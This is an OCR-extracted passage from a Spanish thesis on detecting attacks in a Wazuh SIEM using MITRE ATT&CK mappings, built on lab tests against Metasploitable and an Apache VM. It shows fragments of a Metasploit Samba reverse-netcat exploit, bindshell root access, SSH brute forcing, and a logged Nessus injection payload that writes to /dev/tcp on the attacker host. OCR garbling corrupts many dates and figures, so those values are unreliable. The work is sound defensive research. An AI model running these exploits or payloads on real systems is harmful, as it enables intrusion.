T1078, T1021) y el Event ID 5501: Apertura de sesion confirmada mediante el

subsistema PAM (MITRE T1078)
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Figura 91

Deteccion del Event ID 5715 y Event ID 5501 en la SIEM Wazuh

= B wazuh., v wewe  wmesmac

92 hits
Apr 26,2025 @ 12:31:45.996 - Apr 26, 2025 @ 13:01:48.996 Aute ~

Cou

timestamp per 30 scconds

Time - agent name. Fulemitre.id rule. mitre-tactic rule description rulelavel ruleid data dstuser location data.

,  Apr 26, 2825 @ 13:89:53.85 Ti118.081 PAN: User login failed 5 5503 root 172.16.16.13 1721 14

5 Apr 26, 2023 © 13:00:47.842 mabewszuh Ti110.081 Credential Access PAN: User login failed. 3 5503 - 172.16.16.13 1721 14

,  Apr 26, 2025 © 13:09:38 440 mabewszun 118,081 Credential Access PAN: User login failed s ssa3 - 172.16.16.13 1721 1

5 Apr 26, 2025 © 12:38:16.507 mabewszun Tiads 10 5 172.16.76.7 Network S o: 172 1
¥

5 Apr 26, 2025 © 12:58:04.008 madewszuh Ti821 084 B 172.16.16.7 ssH 172 1

> hRr 26, 2025 @ 12:58:03.66! Tiede 12 5 172.16.16.7 Netnark Se 0 172 1"
¥

3 Apr 26, 2025 @ 12:51:10. Tie7e 2 o Fads 172.16.16.7 1id 3

s Apr 26, 28 2:51:10.089 Ti87s, Tiez1 3 5715 mafadnin 172.16.16.13  Valid Accounts, Remote S 172.16.16.1

3.6.2.3. Ataque Escaneo de Puerto. Para la simulacion de dicho ataque se describe a

continuacion los datos tanto de la maquina atacante como la maquina que recibira el ataque para

la recoleccion de logs.
Tabla 21

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo

Maquina Atacante 172.16.16.14 - Kali Linux

Maquina Objetivo 172.16.16.13 - Ubuntu

Se realizo el escaneo de puerto desde una maquina virtual Kali Linux hacia

Metasploitable para la posterior verificacion de eventos detectados por el SIEM Wazuh.
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Figura 92

Escaneo de vulnerabilidades de Metasploitable desde VM Kali Linux

172.16.16.13

[sudo] password for mabe:
Sorry, try again.
[sudo] password for mabe:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-26 12:57 -05
Nmap scan report for 172.16.16.13
Host is up (0.00065s latency).
Not shown: 977 closed tcp ports (reset)
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login OpenBSD or Solaris rlogind
open tcpwrapped
open Jjava-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)

Figura 93

Validacion de logs del ataque escaneo de puertos hacia Metasploitable en la SIEM Wazuh.

B WAzZUN, v~ womes  wmeamscc @

92 hits
Apr 26,2025 @ 12:31:48.996 - Apr 26, 2025 @ 13:01:48.996 Auto v

Z
i
timestamp per 30 seconds
Time agent name rule mitre i rule.mitre tactic rule description rulelevel ruleid data dstuser location rule mitre technique data srcip
5 Apr 26, 2025 § 13:00:53 57 mabewazuh Ti110.00 Credential Access BAN: User login failed E] 5503 root 172.16.16.13  Password Guessing 172.16.16.14
) ARr 26, 2025 € 13:00:47.842 mabewazuh TI110.001 Credential Access PaM: User login Failed 5 5503 - 172.16.16.13  Password Guessing 172.16.16.14
5 Apr 26, 2025 @ 13:00:33 449 mabewazuh Ti110.00 Credential Access BAN: User login failed E] 5503 - 172.16.16.13  Password Guessing 172.16.16.14
) Aer 26, 2025 @ 12:59:16.567 mabewazuh Ti846 Discovery Connection to rshd from unpri 18 2551 - 172.16.16.13  Netnork Service Discover 172.16.16.14
wileged port. Possible networ
k scan.
,  Apr 26, 2025 § 12:58:04.803 mabewazuh Tie21.684 Lateral Hovement sshd: insecure connection att 6 s706 - 172161613 ssH 172.16.16.14
empt (scan)
5 Apr 26, 2825 § 12:58:83 663 mabewazuh TiB4s Discovery Connection to rehd from unpri 18 255 - 172.16.16.13  Metwork Service Discover 172.16.16.14
wileged port. Possible networ
k scan.
> Apr 26, 2825 @ 12:51:19.895 mabewazuh Tie78 Defense Evasion, Persistence, Priv  PAM: Login session opened. 3 5501 msfadnin 172.16.16.13  Velid Accounts
ilege Escalstion, Initial Access
5 Apr 26, 2025 § 12:51:19.889 mabewazuh Tie7s, Tie2i Defense Evasion, Persistence, Priv  sshd: authentication success. 3 715 mafadmin 172.16.16.13  Valid Accounts, Remote S 172.16.16.1

ilege Escalation, Initial Access
Lateral Hovement

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

e Event ID 2551 Deteccion de exploracion de servicios de red (rshd): Se detecté una
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conexion no autorizada al servicio rshd desde el activo 172.16.16.14 hacia
metasploitable (IP: 172.16.16.13) utilizando un puerto no privilegiado. Este evento
fue generado por el sistema de logs de metasploitable y se relaciona con la técnica
MITRE ATT&CK T1046 (Network Service Discovery).
Figura 94

Deteccion del Event ID 2551 en la SIEM Wazuh

Ti46

e Event ID 5706: Intento de conexion SSH insegura: Se detect6 un intento de
conexion insegura al servicio SSH (regla 5706, rule id: 5706) realizado desde el
activo 172.16.16.14 hacia el activo metasploitable (IP: 172.16.16.13). Este evento fue
generado por el servicio sshd en el sistema metasploitable, y fue procesado por el
servidor Wazuh mabewazuh. Este evento est4 asociado a la técnica MITRE ATT&CK

T1021.004 (Lateral Movement - SSH).
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Figura 95

Deteccion del Event ID 5706 en la SIEM Wazuh

dor 26, 2025 § 12
2 Expanded document
Tis 350N

Actions

58:64.008 S

plostable Tie1 008 Lateral Movement

58.04.008

Conociendo las vulnerabilidades existentes en Metasploit se inicia las pruebas de

explotacidon, como se verifica en la grafica previa se tiene intentos fallidos de ingreso. En una

prueba a través de FTP se verifica el arribo de alarmas al tratar de ingresar con el user admin

pero no cuando se ingresd con user anonimous.

Figura 96

Ejecucion de FTP hacia Metasploitable.

; ngin_incaorrect.
ftp: Login failed

ftp> bye
2 Goodbye.

): admin
assword.
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e Event ID 5503: Intento de adivinacion de contraseias (FTP): Se detectd un

intento fallido de autenticacion en el servicio FTP (vsftpd) del activo metasploitable

(IP: 172.16.16.13), realizado desde el activo 172.16.16.14 con el usuario admin. El

intento fue identificado por el sistema de autenticacion PAM vy registrado como

evento de tipo authentication failure. La alerta se dispar6 11 veces, sugiriendo un
ataque repetido de acceso no autorizado. Este evento es identificado por la regla 5503,

y estd asociado a la técnica MITRE ATT&CK T1110.001 (Password Guessing).

Figura 97

Deteccion del Event ID 5503 en la SIEM Wazuh

ghnits
Apr 26, 2025 @ 13:06-18.509 - Apr 26, 2025 @ 133618509 Auto

nnnnnnnnnnnnnn

;;;;;

Usando la vulnerabilidad Samba con el exploit a través de del puerto 139/TCP se

establece la comunicacion con la Shell remota abierta en la maquina victima (172.16.16.13),

controlada desde la VM Kali (172.16.16.14).
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Figura 98

Ejecucion de msf exploit para obtener privilegios de administrador

t RHOSTS 1

t RPORT 139

t PAYLOAD cmd/unix se_netcat
se_netcat

set LHOST TU_IP_LOCAL

) > set LHOST 172.16.16.14

«ploit( ) «plot
cnown command: explot. Did you mean exple ? Run the help command for more details.
«ploit( )

ted rever handler on
ommand shell session 1 opened (
2500

whoami

6 GNU/Linux

ety n p word: m
passwd: password updated su

Obteniendo privilegios se agrega un nuevo user que luego es usado para establecer
conexion con el servicio disponible en la maquina atacada a través del puerto 22.
Figura 99

Acceso por SSH luego de obtener privilegios.

any oth
ou want to continu (ves/no/[fingerpri
ently added '1 16. (RSA) to the list of known
ssword :
24-16-server f#f1 SMP Thu Apr 1@ 13 2008 ies6

official Ubuntu documentation, ple:
help.ubuntu.com/
isploitabl $ 1s
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Asi mismo al contar con la vulnerabilidad Bindshell (Puerto 1524) se establece una
conexion de acceso remoto como root en la maquina sin necesidad de credenciales.
Figura 100

Acceso remoto hacia la Metasploitable con user root.

172.16.16.13 1524

root@metasploitable:/# 1s
bin

boot
cdrom
dev
etc
home

Figura 101

Acceso remoto hacia la Metasploitable con user root.

add user

d nombre_usuario
d ncuser

Figura 102

Deteccion de alarmas en Wazuh server luego de los ataques realizados desde VM Kali Linux

107 nits

Apr 25, 2025 @ 16:00-00.000 - Apr 26, 2025 @ 162723703 Auto

1
S
- —
timestamp per 30 minutes
Time « agentname rulemitreid rule.mitre tackic rule description rule Jevel ruleid data dstuser datasrcip rule mitre tochnique. location
dpr 26, 2605 § 16:16:25.518  mabewszun 1878 Defense Ev ersistence, Privilege Escalatio  PAM: Login session opensd. 3 5501 reat. - Velid Accaunts 172.16.16.13

n, Initisl

58 16:16:25.500  mavawzzun T1548. 003 Pravilege Esealstion, Defense Evsion First tine user exscuted cudo 4 sem raat 172.16.16.13

5§ 16:05:55.507  mabewszuh T113 Persistence New user added to the system i 5082 neuser 172.16.16.13

5§ 16:05:45 882 mabewszuh T113 Persistence New user added to the system H s0m2 nambre_usuario 172.16.16.13

5§ 14:03:33.247  mabewszuh 1878 Defense Ev. ersistence, Privilege Escalatio  PAM: Login session opensd. 3 5501 mae 72.16.16.13
n, Initial

25 § 14:83:33 244  mabewszuh Ti878, TiE21 Defense Ev stence, Privilege Escalatio  sshd: euthentication success 3 5715 mabe 172.16.16.14 2.16.16.13
n, Initial Access, Lateral Movement

5§ 14:00:47 B4 mabewszuh T113 Persistence New user added to the system H s0m2 mabe - trea 172.16.16.13

5§ 13:30:59.331  mabewszun T1118.801 Credentisl Access PAM: User login failed H ] - 172.16.16.14  Password Guessing 172.16.16.13
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A continuacion, se detalla los eventos encontrados:

e Event ID 5902: Creacion de cuenta de usuario sospechosa: Se detect6 la creacion
de una nueva cuenta de usuario en el sistema metasploitable (IP: 172.16.16.13) con el
nombre de usuario mabe, UID 1003, y shell /bin/bash. El evento fue generado por el
proceso useradd y registrado como una posible accidon de persistencia maliciosa,
especialmente si no fue autorizada. La alerta esta asociada a la técnica MITRE
ATT&CK T1136 (Create Account).

Figura 103

Deteccion del Event ID 5902 en la SIEM Wazuh

Actions Fisld atoe

data_shell

anomabe, UID-1883, GID*1003, home=ihomsisabe, shells :r-:wl

e Event ID 5501: Inicio de sesién exitoso con cuenta valida: Se detecto el inicio de
sesion exitoso del usuario mabe a través del servicio SSH en el sistema metasploitable
(IP: 172.16.16.13). El evento fue generado por el servicio de autenticacion PAM y
registrado por el demonio sshd como una sesion abierta por el usuario mabe, lo que

indica privilegios de administrador (root). La alerta esta asociada a la técnica MITRE
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ATT&CK T1078 (Valid Accounts), comunmente usada en tacticas de evasion,
persistencia y escalada de privilegios.

Figura 104

Deteccion del Event ID 5501 en la SIEM Wazuh

for 21 2301
PAk. Lzgin sessicn cpened I

e Event ID 5403: Primer uso de sudo en el sistema: Se registro el primer uso del
comando sudo en el sistema metasploitable (IP: 172.16.16.13) por el usuario root,
para ejecutar el comando /ust/bin/whoami desde el directorio /usr. El evento fue
generado por el demonio sudo, bajo la regla 5403. Este tipo de comportamiento puede
estar relacionado con actividades de escalada de privilegios o evasion de defensas, y
se corresponde con la técnica MITRE ATT&CK T1548.003 (Sudo and Sudo

Caching).
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Figura 105

Deteccion del Event ID 5403 en la SIEM Wazuh

Actions

etasplottable 523.00 Privilege Escalaty

A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre:

Tabla 22

Técnicas de MITRE ATT&CK del ataque hacia Metasploitable Server

rule.mitre.id

Descripcion de la Técnica MITRE ATT&CK

T1078

T1548.003
T1136

T1110.001

T1046

Cuentas Validas - Los atacantes usan credenciales validas para acceder al
sistema.

Escalado de Privilegios - El primer uso de sudo por un usuario en el sistema.
Persistencia - Se agrega un nuevo usuario al sistema para asegurar el acceso
persistente.

Acceso a Credenciales - Adivinacion de contrasefias mediante multiples
intentos fallidos de inicio de sesion.

Descubrimiento - El atacante realiza un escaneo de la red a través de

servicios de red no privilegiados.



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM 127

rule.mitre.id Descripcion de la Técnica MITRE ATT&CK

T1021.004 Movimiento Lateral - Conexion insegura mediante SSH, lo que puede

indicar un intento de mover lateralmente por la red.

T1078, Cuentas Validas, Servicios Remotos - Acceso remoto exitoso a través de
T1021 servicios como SSH, usando cuentas validas.
T1071.001 Comunicaciones de Red - La comunicacion con servidores de comando y

control a través de HTTP.

Tabla 23

ID de la Regla de Wazuh

rule.id Descripcion de la Regla

5501  Detecta inicios de sesion exitosos mediante cuentas validas.

5403  Detecta el primer uso de sudo por un usuario, indicando posible escalado de
privilegios.

5902  Detecta la creacion de un nuevo usuario en el sistema, lo que podria ser un intento de
persistencia.

5503  Detecta fallos repetidos de inicio de sesion, lo que podria ser un intento de
adivinacion de contrasefias.

2551  Detecta conexiones a servicios de red no privilegiados, lo que podria ser un intento
de escaneo de red.

5706  Detecta intentos de conexion insegura mediante SSH, lo que podria indicar un intento
de escaneo o acceso no autorizado.

5715  Detecta intentos de acceso remoto mediante SSH, indicando un posible acceso no
autorizado o legitimo.

5717  Detecta la comunicacion de red hacia servidores de comando y control utilizando

HTTP.
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Tabla 24

Nivel de Severidad de la Regla

128

rule.level Descripcion del Nivel de Severidad

1 Informativo - Alertas que proporcionan informacion sobre eventos menores. No

requieren accion inmediata.

3 Moderado - Alertas que indican una actividad sospechosa, pero no critica. Puede

requerir investigacion.

5 Alto - Alertas que sugieren un intento de ataque o un comportamiento malicioso.

Requiere atencion inmediata.

8 Critico - Alertas graves que indican un posible compromiso del sistema o acceso

no autorizado. Requiere accion inmediata y urgente.

10 Critico - La alerta mas alta, indica una actividad muy peligrosa o un ataque en

curso. Se debe tratar con la maxima prioridad.

Tabla 25

Casos encontrados de acuerdo al framework Mitre del ataque hacia Metasploitable Server

Técnica Tactica Descripci  ID  Usuari 1P Técnica  Ubicacio
MITRE MITRE on de la de o Origen MITRE n
Regla Regl Destin
a 0
T1078 Defensa PAM: 550 root - Cuentas 172.16.16
Evasion,  Sesion de 1 Validas 13
Persistencia, inicio de
Escalado de sesion
Privilegios, abierta
Acceso

Inicial
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Técnica Tactica Descripci ID  Usuari IP Técnica  Ubicacio
MITRE MITRE on de la de 0 Origen MITRE n
Regla Regl Destin
a 0
T1548.0 Escalado de Primer 540 root - Sudoy 172.16.16
03  Privilegios, uso de 3 Caché de A3
Defensa  sudo por Sudo
Evasion el usuario
T1136 Persistencia Nuevo 590  ncuser - Crear 172.16.16
usuario 2 Cuenta 13
afiadido al
sistema
T1078 Defensa PAM: 550 mabe - Cuentas 172.16.16
Evasion,  Sesion de 1 Validas 13
Persistencia, inicio de
Escalado de sesion
Privilegios, abierta
Acceso
Inicial
T1078, Defensa sshd: 571 mabe 172.16.16 Cuentas 172.16.16
T1021 Evasion, autenticac 5 .14 Validas, 13
Persistencia, 16n Servicios
Escalado de exitosa Remotos
Privilegios,
Acceso
Inicial,
Movimiento
Lateral
T1136 Persistencia Nuevo 590 mabe - Crear 172.16.16
usuario 2 Cuenta A3
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Técnica Tactica Descripci ID  Usuari IP Técnica  Ubicacio
MITRE MITRE on de la de 0 Origen MITRE n
Regla Regl Destin
a 0
afiadido al
sistema
T1110.0 Acceso a PAM: 550 - 172.16.16 Adivinacion 172.16.16
01 Credenciale Fallo de 3 .14 de A3
s inicio de Contrasefia
sesion de
usuario
T1046 Descubrimie Conexion 255 - 172.16.16 Descubrimie 172.16.16
nto a ‘rshd 1 .14 nto de A3
desde Servicios de
puerto no Red
privilegia
do,
posible
escaneo
de red
T1021.0 Movimiento sshd: 570 - 172.16.16 SSH 172.16.16
04 Lateral intento de 6 .14 A3
conexion
insegura
(escaneo)
T1078 Defensa PAM: 550 msfad - Cuentas 172.16.16
Evasion,  Sesion de 1 min Validas 13
Persistencia, inicio de
Escalado de sesion
Privilegios, abierta
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Técnica Tactica Descripci ID  Usuari IP Técnica  Ubicacio
MITRE MITRE on de la de 0 Origen MITRE n
Regla Regl Destin
a 0
Acceso
Inicial
T1078, Defensa sshd: 571 msfad 172.16.16 Cuentas 172.16.16
T1021 Evasion, autenticac 5 min .1 Validas, 13
Persistencia, 16n Servicios
Escalado de exitosa Remotos
Privilegios,
Acceso
Inicial,
Movimiento

Lateral
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3.6.3. Simulacion Ataques Apache Web Server. Como parte de las pruebas a
realizarse, se considera la instalacion, configuracion y uso de un servidor virtualizado con
sistema operativo Linux, en el cual se levanta un servicio web con dos aplicaciones del mismo
estilo, como lo son Mutillidae y DVWA. Bajo este concepto de servicio web se plantean
diferentes ataques tanto al sistema operativo como a las aplicaciones web, para evaluar la
recepcion y alertamiento en el SIEM bajo la identificacion de técnicas y tacticas del MITRE
ATT&CK. Para simular un escenario lo mas real posible, se inicia con un proceso de
reconocimiento en la red, el cual permite identificar las IPs de los hosts encendidos de la
maquina objetivo. Lo mencionado se logra ejecutando el comando netdiscover desde la
maquina atacante. En la cual se identifican 3 IPs, una que corresponde al Access point
identificado por su marca TP-LINK TECHNOLOGIES, tres IP’s que no es reconocida su
vendor pero que, al ser un ambiente construido para el presente proyecto, se tiene la certeza de
ser las IPs del: equipo fisico en el que se virtualiza servidores, servidor Wazuh y servidor

apache como se muestra en la siguiente figura:

Figura 106

Identificacion IPs hosts ambiente de pruebas
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Para las pruebas se ha planteado dos escenarios, ataques al Sistema Operativo y ataque a
Aplicaciones Web las cuales se describen a continuacion:
3.6.3.1. Ataques Fuerza Bruta a un Sistema Operativo. Un ataque de fuerza bruta en un
servidor Linux puede conseguirse estableciendo una conexion desde un equipo atacante hacia la
victima, mediante el uso del protocolo ssh. Para la simulacion de dicho ataque se describe a
continuacion los datos tanto de la maquina atacante como la maquina que recibiré el ataque para
la recoleccion de logs.
Tabla 26

Datos de la maquina atacante y la mdaquina objetivo

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3
Maquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12

Este ataque se realiza desde una maquina Parrot (IP: 172.16.16.6) se lanza una conexion
al servidor objetivo (172.16.16.20) con el comando: ssh -p 22 root@172.16.16.20 y se ingresan
contrasefas aleatorias para verificar el comportamiento de wazuh.

Figura 107

Ataque de fuerza bruta por ssh
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Nota:

En la figura, se visualiza el resultado de la ejecucion del comando ssh luego de ingresar

por 3 ocasiones una contrasefia aleatoria

Una vez ejecutado el ataque se verifican las alertas recibidas en el SIEM Wazuh, bajo el

siguiente detalle de equipos y datos historicos:

Figura 108

Logs historicos generados por el ataque de fuerza bruta

Tine
gu“ 1, 2825
15:35:54.246

Jun 1, 2625
e
15:35:52.242

Jun 1, 2625
e
15:35:44.231

gu“ 1, 2825
15:35:48.226

Jun 1, 2825
e
15:35:38.223

Nota:

ocasiones la contrasefia. En estos registros se visualiza los eventos correlacionados con toda la

_source

predecoder . hostname: MV-Apache predeceder.program_name: sshd predecoder.timestamp: Jun 81 20:35:51 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 984 'manager.name: wa
zuh-server | data.srcip: 172.16.16.6 data.dstuser: root rule.mail: false |rule.level: 18 rule.pci_dss: 16.2.4, 18.2.5 rule.hipaa: 164.312.b rule.tse: CC6.1, CC6.8, CC7.2, CC7.3
rule.description: syslog: User missed the password more than onme time rule.groups: syslog, access_control, authentication_failed rule.nist_808_53: AU.14, AC.7 rule.gdpr: IV_35.7.d, IvV_32.2
rule.firedtimes: 1 |rule.mitre.technique: Brute Force rule.mitre.id: T1118 rule.mitre.tactic: Credential Access rule.id: 2562 rule.gpg13: 7.8 location: journald decoder.parent: sshd
decoder.name: sshd |id: 1748818154.44520 full_log: Jun @1 20:35:51 MV-Apache sshd[2485]: PAM 2 more authentication failures; logname= uid-8 euid=8 tty-ssh ruser= rhost=172.16.16.6 user=root
predecoder .hostname: MV-Apache predeceder.program_name: sshd predecoder.timestamp: Jun B1 28:35:58 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 864 'manager.name: wa
zuh-server | data.srcip: 172.16.16.6 data.dstuser: root data.srcport: 35088 rule.mail: false rule.level: 5 rule.hipaa: 164.312.b rule.pci dss: 18.2.4, 18.2.5 rule.tsc: CC6.1, CC6.8, CC7.2, CC
7.3 [rule.description: sshd: authentication failed. rule.groups: syslog, sshd, authentication_failed rule.nist_808_53: AU.14, AC.7 rule.gdpr: IV_35.7.d, IV_32.2 | rule.firedtimes: 3

rule.mitre, technique: Password Guessing, SSH rule.mitre.id: T1110.801, T1621.004 rule.mitre.tactic: Credential Access, Lateral Movement rule.id: 5768 rule.gpg3: 7.1 location: journald
decoder.parent: sshd decoder.name: sshd 1id: 1748818152.44051 full_log: Jun @1 20:35:50 MV-Apache sshd[2485]: Failed password for root from 172.16.16.6 port 35988 ssh2 timestamp: Jun 1, 2625 € 1
predecoder .hostname: MV-Apache predeceder.program_name: sshd predecoder.timestamp: Jun 81 28:35:42 input.type: log agent.ip: 172.16.16.2@ agent.name: MV-Apache agent.id: 84 'manager.name: wa
uh-server data.srcip: 172.16.16.6 data.dstuser: root data.srcport: 35988 rule.mail: false rule.level: 5 rule.hipaa: 164.312.b rule.pci_dss: 18.2.4, 18.2.5 rule.tsc: CC6.1, CC6.8, CC7.2, CC
7.3 [rule.description: sshd: authentication failed. rule.groups: syslog, sshd, authentication_failed rule.nist 808.53: AU.14, AC.7 rule.gdpr: IV_35.7.d, IV_32.2 | rule.firedtimes: 2
rule.mitre.technique: Password Guessing, SSH rule.mitre.id: T1118.881, T1821.884 rule.mitre.tactic: Credential Access, Lateral Movement rule.id: 5768 ' rule.gpgi3: 7.1 location: journald
decoder.parent: sshd decoder.name: sshd id: 1748810144,43562 full_log: Jun @1 20:35:42 WV-Apache sshd[2485]: Failed password for root from 172.16.16.6 port 35988 ssh2 timestamp: Jun 1, 2625 € 1
predecoder . hostname: MV-Apache predecoder.program_name: sshd predecoder.timestamp: Jun 81 20:35:36 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 984 'manager.name: wa
zuh-server | data.srcip: 172.16.16.6 data.dstuser: root data.srcport: 35988 rule.mail: false rule.level: 5 rule.hipaa: 164.312.b rule.pci_dss: 10.2.4, 18.2.5 rule.tsc: CC6.1, CC6.8, CC7.2, CC
7.3 [rule.description: sshd: authentication failed. rule.groups: syslog, sshd, authentication_failed 'rule.nist_88@_53: AU.14, AC.7 rule.gdpr: Iv_35.7.d, IV_32.2 rule.firedtimes: 1
rule.mitre.technique: Password Guessing, SSH rule.mitre.id: T1116.801, T1821.004 rule.mitre.tactic: Credential Access, Lateral Movement  rule.id: 5768 @ rule.gpg13: 7.1 location: journald
decoder.parent: sshd decoder.name: sshd id: 1748818148.43113 full_log: Jun 81 20:35:36 MV-Apache sshd[2485]: Failed password for root from 172.16.16.6 port 35988 ssh2 timestamp: Jun 1, 2625 € 1
predecoder .hostname: WV-Apache | predecoder.program_name: sshd predecoder.timestamp: Jun 81 20:35:34 input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: 864 'manager.name: wa
zuh-server data.uid: @ data.sreip: 172.16.16.6 data.euid: @ data.dstuser: root data.tty: ssh rule.mail: false rule.level: 5 rule.pei_dss: 10.2.4, 10.2.5 rule.hipaa: 164.312.b rule.tsc: CC
6.1, CC6.8, CC7.2, CC7.3 rule.description: PAM: User login failed. rule.groups: pam, syslog, authentication_failed |rule.nist_888_53: AU.14, AC.7 rule.gdpr: IV_35.7.d, Iv_32.2 rule.firedtimes: 1
rule.mitre.technique: Password Guessing rule.mitre.id: T1118.081 rule.mitre.tactic: Credential Access rule.id: 5583 rule.gpgi3: 7.8 location: journald decoder.name: pam id: 1743819138.42589

full loa: Jun B1 20:35:34 MV-Abache sshd[24851: pam unix(sshd:auth): authentication failure: louname= uid=@ euid=8 ttv=ssh ruser= rhost=172.16.16.6 user=root timestamp: Jun 1. 2625 @ 15:35:38.223

En la figura, se visualizan los logs en crudo generados al ingresar de forma aleatoria por 3

informacion que describen al posible ataque.
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Figura 109

Identificacion de logs ataque de fuerza bruta

data.sreip agent.ip rule.mitre.id rule.description rule.mitre. tactic rule.mitre. technique
172.16.16.6 172.16.16.20 T8 syslog: User missed the password more than one time Credential Access Brute Force
172.16.16.6 172.16.16.20 T1116.801, T1621.804 sshd: authentication failed Credential Access, Lateral Movement Password Guessing, SSH
J 172.16.16.6 172.16.16.20 T1110.081, T1021.884 sshd: authentication failed Credential Access, Lateral Movement Password Guessing, SSH
15:35:44.231
Jun 1, 2625 5768 172.16.16.6 172.16.16.28 T1118.801, T1621.864 sshd: authentication failed Credential Access, Lateral Movement Password Guessing, SSH

15:35:40.226
Nota: En la figura, se visualiza los datos relevantes de logs relacionados con el ingreso fallido de
una contrasefa por 3 ocasiones al intentar establecer una conexion remota al servidor mediante el
protocolo ssh por el puerto 22. Donde se puede identificar claramente que la IP origen es la
172.16.16.6 (Equipo parrot) y el objetivo a atacar es la MV-Apache con IP 172.16.16.20.

Mediante el andlisis de logs historicos capturados por el SIEM Wazuh, se puede

identificar el ID, la tactica y técnica segiin el MITRE ATT&CK cuando un ciberdelincuente usa
un ataque de fuerza bruta para intentar acceder al sistema operativo. En este caso particular y
tomando en cuenta que un ciberdelicuente puede aprovechar la no aplicacion de politicas de
contrasefias para solo permitir 3 intentos fallidos y seguir probando contrasefias hasta conseguir
el acceso, el alertamiento del SIEM si permite detectar y neutralizar una APT a tiempo. En
cualquier SIEM y especialmente en Wazuh se puede establecer como caso de uso de un posible

ataque de fuerza bruta la siguiente tactica y técnica del MITRE ATT&&CK:
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Tabla 27

Caso de uso segun MITRE ATT&CK ataque fuerza bruta

ID Rule Mitre Rule description Tactica Mitre Técnica Mitre
ATT&CK ATT&CK ATT&CK
syslog: User missed Credential Access Brute Force
T1110 the password more
than one time
T1110.001, sshd: authentication Credential Access, Password guessing,
T1021.004 failed. Lateral Movement ssh

3.6.3.2. Ataque Escaneo con Nessus a un Sistema Operativo. El reconocimiento o
descubrimiento es una de las posibilidades de ataque que puede considerarse como parte de una
campafia APT, debido a que permite identificar vulnerabilidades especificas y un mapeo de red
avanzada. Para la simulacion de dicho ataque se describe a continuacion los datos tanto de la
maquina atacante como la maquina que recibird el ataque para la recoleccion de logs.

Tabla 28

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.6 Parrot Parrot Security 6.3
Maquina Objetivo 172.16.16.20 MV-Apache Debian GNU/LINUX 12

Para identificar un posible caso de uso mediante el MITRE ATT&CK se realiza un

escaneo mediante Nessus desde el equipo atacante hacia el objetivo.
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Figura 110

Ataque de reconocimiento o descubrimiento con Nessus
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Una vez ejecutado el ataque se verifican las alertas recibidas en el SIEM Wazuh se valida

se recepto un total de 262 eventos, de los cuales se destacan los siguientes:

Figura 111

Alertas recibidas ataque de reconocimiento o descubrimiento

Jun 1, 2025

20:25:14.644

2625
26:25:12.772

Jun 1

Jun 1, 2025
26:25:12.766

Jun 1, 2825

20:25:12.764

Jun 1, 2025

20:25:12.756

input.type: log  agent.ip: 172.16.16.28  agent.name: |MV-Apache |agent.id: 884  manager.name: wazuh-server |data.protocol: GET |data.srcip:|172.16.16.6 |data.id: 464  data.url: /api/getServi
ces?name| ]=§(bash%26-c%20%22echo%2@exploited_port[88]by_nessus%20%3E /dev/tcp/172.16.16.6/33595\&quot ;) |rule.firedtimes: 653 |rule.mail: false  rule.level: 5  rule.pei_dss: 6.5, 11.4
rule.tse: CC6.6, CC7.1, CC8.1, CCH.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 488 error code. | rule.groups: web, accesslog, attack | rule.id: 31181 |rule.nist_888_53: SA.11, SI.4
rule.gdpr: Iv_35.7.d location: /var/log/apache2/access.log decoder.name: web-accesslog id: 1748827514.599121 full _log: 172.16.16.6 - - [@1/Jun/2825:26:25:12 -8588] "GET fapi/getService
s?name [ ]=$( bash%2@-c%2€%22echo%28exploited_port[88]by_nessus%2€%3E/dev/tcp/172.16.16.6/33595\") HTTP/1.1" 464 491 "-" "Mozilla/4.@ (compatible; MSIE 8.6; Windows NT 5.1; Trident/4.8)"
input.type: log agent.ip: 172.16.16.20 agent.name: MV-Apache agent.id: @84 manager.name: wazuh-server data.protocol: GET 'data.srcip: 172.16.16.6 data.id: 464 data.url: /rails_info/p

roperties rule.firedtimes: 652 rule.mail: false rule.level: 5 rule.pci_dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CCB.1, CC6.1, CC6.8, CC7.2, CC7.3 rule.description: Web server 48@ error c

ode. rule.groups: web, accesslog, attack rule.id: 317@1 rule.nist_86@_53: SA.
7512.598622 | full_log: 172.16.16.6 - - [81/Jun/2025:20:25:89 -850@] "GET /rails_info/properties HTTP/1.1" 4@4 491 "-" "Mozilla/4.@ (compatible; MSIE &.8; Windows NT 5.1; Trident/4.8)"
timestamp: Jun 1, 2025 € 28:25:12.772 |_index: wazuh-alerts-4.x-2025.66.82

SI.4 rule.gdpr: Iv_35.7.d location: /var/log/apache2/access.log |decoder.name: web-accesslog id: 174882

input.type:| log agent.ip: 172.16.16.28 |agent.name: MV-Apache |agent.id: @64  manager.name: wazuh-server |data.protocol: GET |data.srcip: 172.16.16.6 (data.id: 484 data.url: /juser_setting
cfg [rule.firedtimes: 651 |rule.mail: false  rule.level: 5 |rule.pci dss: 6.5, 11.4 rule.tsc: CC6.6, CC7.1, CC8.1, CC6.1, CC6.8, €C7.2, CC7.3 |rule.description: Web server 408 error code.
rule.groups: web, accesslog, attack |rule.id: 31181 |rule.nist_88@_53: SA.11, SI.4 [rule.gdpr: IV_35.7.d location: /var/log/fapache2/access.log |decoder.name: web-accesslog |id: 1748827512.
